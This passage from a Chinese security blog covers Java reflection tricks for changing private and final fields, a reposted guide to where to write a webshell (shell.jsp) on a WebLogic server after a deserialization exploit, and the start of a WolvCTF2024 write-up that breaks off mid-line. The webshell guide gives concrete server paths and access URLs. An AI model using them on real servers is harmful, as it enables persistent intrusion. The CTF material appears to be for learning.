class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InstantiationException, InvocationTargetException, InvocationTargetException {</span><br><span class="line"> <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">"src.PrivatePerson"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">m</span> <span class="operator">=</span> c.newInstance();</span><br><span class="line"> <span class="type">Method</span> <span class="variable">PrintMethod</span> <span class="operator">=</span> c.getDeclaredMethod(<span class="string">"printName"</span>);</span><br><span class="line"> PrintMethod.invoke(m);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">nameField</span> <span class="operator">=</span> c.getDeclaredField(<span class="string">"name"</span>);</span><br><span class="line"> nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> nameField.set(m, <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(<span class="string">"aaaaa"</span>));</span><br><span class="line"> PrintMethod.invoke(m);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PrivatePerson</span> {</span><br><span class="line"> <span class="keyword">private</span> <span class="type">StringBuilder</span> <span class="variable">name</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(<span class="string">"lll"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">printName</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(name);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>static单独出现的话,用getDeclaredField也可以</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PrivateReflect</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InstantiationException, InvocationTargetException, InvocationTargetException {</span><br><span class="line"> <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">"src.PrivatePerson"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">m</span> <span class="operator">=</span>c.newInstance();</span><br><span class="line"> <span class="type">Method</span> <span class="variable">f</span> <span class="operator">=</span> c.getDeclaredMethod(<span class="string">"printName"</span>);</span><br><span class="line"> f.invoke(m);</span><br><span class="line"> Field ff=c.getDeclaredField(<span class="string">"name"</span>);</span><br><span class="line"> ff.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> ff.set(m,<span class="keyword">new</span> <span class="title class_">StringBuilder</span>(<span class="string">"lvzhouhang"</span>));</span><br><span class="line"> f.invoke(m);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="final"><a href="#final" class="headerlink" title="final"></a>final</h2><p>final 字段能否修改,有且取决于字段是直接赋值还是间接赋值(编译时赋值和运行时赋值的区别)。<strong>直接赋值是指在创建字段时就对字段进行赋值,并且值为 JAVA 的 8 种基础数据类型或者 String 类型,而且值不能是经过逻辑判断产生的,其他情况均为间接赋值。</strong></p>
<h3 id="直接赋值"><a href="#直接赋值" class="headerlink" title="直接赋值"></a>直接赋值</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FinalStraightPerson</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">"lvzhouhang"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">age</span> <span class="operator">=</span> <span class="number">21</span>-<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">printInfo</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(name+<span class="string">" "</span>+age);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FinalStraightReflect</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">"src.FinalStraightPerson"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">m</span> <span class="operator">=</span> c.newInstance();</span><br><span class="line"> <span class="type">Method</span> <span class="variable">printMethod</span> <span class="operator">=</span> c.getDeclaredMethod(<span class="string">"printInfo"</span>);</span><br><span class="line"> printMethod.invoke(m);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">nameField</span> <span class="operator">=</span> c.getDeclaredField(<span class="string">"name"</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">ageField</span> <span class="operator">=</span> c.getDeclaredField(<span class="string">"age"</span>);</span><br><span class="line"> nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> ageField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> nameField.set(m,<span class="string">"lvzhouhang"</span>);</span><br><span class="line"> ageField.set(m,<span class="string">"20"</span>);</span><br><span class="line"></span><br><span class="line"> printMethod.invoke(m);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>这样通过反射修改会报错</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Exception in thread "main" java.lang.IllegalArgumentException: Can not set final int field src.FinalStraightPerson.age to java.lang.String</span><br><span class="line"> at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)</span><br><span class="line"> at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)</span><br><span class="line"> at sun.reflect.UnsafeQualifiedIntegerFieldAccessorImpl.set(UnsafeQualifiedIntegerFieldAccessorImpl.java:100)</span><br><span class="line"> at java.lang.reflect.Field.set(Field.java:764)</span><br><span class="line"> at src.FinalStraightReflect.main(FinalStraightReflect.java:18)</span><br></pre></td></tr></table></figure>
<p>为什么呢?</p>
<p>因为JVM在编译时期, 就把final类型的String进行了优化, 在编译时期就会把String处理成常量,只要是让name的值经过运行才能获得, 那么就不会被处理为常量。</p>
<h3 id="间接修改"><a href="#间接修改" class="headerlink" title="间接修改"></a>间接修改</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InDirectReflect</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">"src.InDirectPerson"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">m</span> <span class="operator">=</span> c.newInstance();</span><br><span class="line"> <span class="type">Method</span> <span class="variable">printMethod</span> <span class="operator">=</span> c.getDeclaredMethod(<span class="string">"printInfo"</span>);</span><br><span class="line"> printMethod.invoke(m);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">nameField</span> <span class="operator">=</span> c.getDeclaredField(<span class="string">"name"</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">ageField</span> <span class="operator">=</span> c.getDeclaredField(<span class="string">"age"</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">sexField</span> <span class="operator">=</span> c.getDeclaredField(<span class="string">"sex"</span>);</span><br><span class="line"> nameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> ageField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> sexField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> nameField.set(m,<span class="string">"lvzhouhang"</span>);</span><br><span class="line"> ageField.set(m,<span class="number">200</span>);</span><br><span class="line"> sexField.set(m,<span class="keyword">new</span> <span class="title class_">StringBuilder</span>(<span class="string">"female"</span>));</span><br><span class="line"> printMethod.invoke(m);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InDirectPerson</span> {</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">StringBuilder</span> <span class="variable">sex</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(<span class="string">"male"</span>);</span><br><span class="line"> <span class="comment">// 经过逻辑判断产生的变量赋值</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">age</span> <span class="operator">=</span> (<span class="literal">null</span>!=<span class="literal">null</span>?<span class="number">20</span>:<span class="number">20</span>);</span><br><span class="line"> <span class="comment">// 通过构造函数进行赋值</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> String name;</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">InDirectPerson</span><span class="params">()</span>{</span><br><span class="line"> name = <span class="string">"lvzhouhang"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">printInfo</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(name+<span class="string">" "</span>+age+<span class="string">" "</span>+sex);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>这样就修改成功了</p>
<h3 id="static-final"><a href="#static-final" class="headerlink" title="static+final"></a>static+final</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">finalstaticreflection</span> {</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">StringBuilder</span> <span class="variable">name</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(<span class="string">"lvzhouhang"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">printName</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(name);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">finalstaticflectioncalc</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">finalstaticreflection</span> <span class="variable">c</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">finalstaticreflection</span>();</span><br><span class="line"> <span class="type">Method</span> <span class="variable">m</span> <span class="operator">=</span> c.getClass().getDeclaredMethod(<span class="string">"printName"</span>);</span><br><span class="line"> m.invoke(c);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">f</span> <span class="operator">=</span> c.getClass().getField(<span class="string">"name"</span>);</span><br><span class="line"> f.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> f.set(c,<span class="keyword">new</span> <span class="title class_">StringBuilder</span>(<span class="string">"lllllvzhouhang"</span>));</span><br><span class="line"> m.invoke(c);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>这样使修改不成功的,但是还是可以修改,通过反射将name字段取出来后将final修饰符去掉就可以修改</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xpath.internal.operations.Mod;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Modifier;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">finalstaticflectioncalc</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">finalstaticreflection</span> <span class="variable">c</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">finalstaticreflection</span>();</span><br><span class="line"> <span class="type">Method</span> <span class="variable">m</span> <span class="operator">=</span> c.getClass().getDeclaredMethod(<span class="string">"printName"</span>);</span><br><span class="line"> c.printName();</span><br><span class="line"> <span class="type">Field</span> <span class="variable">f</span> <span class="operator">=</span> c.getClass().getDeclaredField(<span class="string">"name"</span>);</span><br><span class="line"> f.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">ff</span> <span class="operator">=</span> f.getClass().getDeclaredField(<span class="string">"modifiers"</span>);</span><br><span class="line"> ff.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> ff.setInt(f,f.getModifiers() & ~Modifier.FINAL);<span class="comment">//去掉final修饰符</span></span><br><span class="line"> f.set(c,<span class="keyword">new</span> <span class="title class_">StringBuilder</span>(<span class="string">"lllllvzhouhang"</span>));</span><br><span class="line"> ff.setInt(f,f.getModifiers() & ~Modifier.FINAL);<span class="comment">//加上final修饰符</span></span><br><span class="line"> c.printName();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>这样就成功修改了</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2024/04/12/weblogic%E4%B8%8A%E4%BC%A0%E9%A9%AC%E8%B7%AF%E5%BE%84%E9%80%89%E6%8B%A9/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="吕宙航">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="lvzhouhang">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2024/04/12/weblogic%E4%B8%8A%E4%BC%A0%E9%A9%AC%E8%B7%AF%E5%BE%84%E9%80%89%E6%8B%A9/" class="post-title-link" itemprop="url">weblogic上传马路径选择</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2024-04-12 08:23:23 / 修改时间:08:24:06" itemprop="dateCreated datePublished" datetime="2024-04-12T08:23:23+08:00">2024-04-12</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/web/" itemprop="url" rel="index"><span itemprop="name">web</span></a>
</span>
</span>
<br>
<span class="post-meta-item" title="本文字数">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span class="post-meta-item-text">本文字数:</span>
<span>667</span>
</span>
<span class="post-meta-item" title="阅读时长">
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span class="post-meta-item-text">阅读时长 ≈</span>
<span>1 分钟</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="weblogic上传木马路径选择"><a href="#weblogic上传木马路径选择" class="headerlink" title="weblogic上传木马路径选择"></a><a target="_blank" rel="noopener" href="https://www.cnblogs.com/sstfy/p/10350915.html">weblogic上传木马路径选择</a></h1><p>对于反序列化漏洞,如果获得的是系统权限或者root权限,那就没必要上传木马,但如果只是web安装应用的权限,就上传获取更大权限。</p>
<p>上传需要找到几个点,获取物理路径,如下面三种:</p>
<ul>
<li><p><strong>方法1:把shell写到控制台images目录中</strong><br><code>\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp</code> 目录上传木马,<br>访问 <code>http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp</code><br><a target="_blank" rel="noopener" href="https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100928075-1843904986.png"><img src="https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100928075-1843904986.png" alt="img"></a><br><a target="_blank" rel="noopener" href="https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100936306-699453349.png"><img src="https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100936306-699453349.png" alt="img"></a></p>
</li>
<li><p><strong>方法2:写到uddiexplorer目录中</strong><br><code>\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp</code> 目录写入木马,<br>访问 <code>http://*.*.*.*:7001/uddiexplorer/shell.jsp</code><br><a target="_blank" rel="noopener" href="https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100944582-1944368429.png"><img src="https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100944582-1944368429.png" alt="img"></a><br><a target="_blank" rel="noopener" href="https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100951748-1087437211.png"><img src="https://img2018.cnblogs.com/blog/981809/201902/981809-20190218100951748-1087437211.png" alt="img"></a></p>
</li>
<li><p><strong>方法3:在应用安装目录中</strong><br><code>\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp</code> 目录写入木马,<br>访问 <code>http://*.*.*.*:7001/项目名/shell.jsp</code></p>
</li>
</ul>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2024/03/18/WolvCTF2024-%E5%A4%8D%E7%9B%98/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="吕宙航">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="lvzhouhang">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2024/03/18/WolvCTF2024-%E5%A4%8D%E7%9B%98/" class="post-title-link" itemprop="url">WolvCTF2024-复盘</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2024-03-18 17:40:20 / 修改时间:19:56:03" itemprop="dateCreated datePublished" datetime="2024-03-18T17:40:20+08:00">2024-03-18</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/ctf/" itemprop="url" rel="index"><span itemprop="name">ctf</span></a>
</span>
,
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/ctf/%E5%A4%8D%E7%9B%98/" itemprop="url" rel="index"><span itemprop="name">复盘</span></a>
</span>
</span>
<br>
<span class="post-meta-item" title="本文字数">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span class="post-meta-item-text">本文字数:</span>
<span>6.3k</span>
</span>
<span class="post-meta-item" title="阅读时长">
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span class="post-meta-item-text">阅读时长 ≈</span>
<span>6 分钟</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="Bean-Cafe"><a href="#Bean-Cafe" class="headerlink" title="Bean Cafe"></a>Bean Cafe</h2><p>他的验证逻辑是通过图片的md5的值来验证的,所以我们只需要传两张MD5相同的图片就可以获得flag</p>
<p><a target="_blank" rel="noopener" href="https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0">https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0</a></p>
<h2 id="Upload-Fun"><a href="#Upload-Fun" class="headerlink" title="Upload Fun"></a>Upload Fun</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$_SERVER</span>[<span class="string">'REQUEST_METHOD'</span>] == <span class="string">"POST"</span>){</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$_FILES</span>[<span class="string">"f"</span>][<span class="string">"size"</span>] > <span class="number">1000</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"file too large"</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">str_contains</span>(<span class="variable">$_FILES</span>[<span class="string">"f"</span>][<span class="string">"name"</span>], <span class="string">".."</span>)) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"no .. in filename please"</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$_FILES</span>[<span class="string">"f"</span>])){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"empty file"</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="variable">$ip</span> = <span class="variable">$_SERVER</span>[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line"> <span class="variable">$flag</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="string">"/flag.txt"</span>);</span><br><span class="line"> <span class="variable">$hash</span> = <span class="title function_ invoke__">hash</span>(<span class="string">'sha256'</span>, <span class="variable">$flag</span> . <span class="variable">$ip</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">move_uploaded_file</span>(<span class="variable">$_FILES</span>[<span class="string">"f"</span>][<span class="string">"tmp_name"</span>], <span class="string">"./uploads/"</span> . <span class="variable">$hash</span> . <span class="string">"_"</span> . <span class="variable">$_FILES</span>[<span class="string">"f"</span>][<span class="string">"name"</span>])) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"upload success"</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"upload error"</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">"f"</span>])) {</span><br><span class="line"> <span class="variable">$path</span> = <span class="string">"./uploads/"</span> . <span class="variable">$_GET</span>[<span class="string">"f"</span>];</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">str_contains</span>(<span class="variable">$path</span>, <span class="string">".."</span>)) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"no .. in f 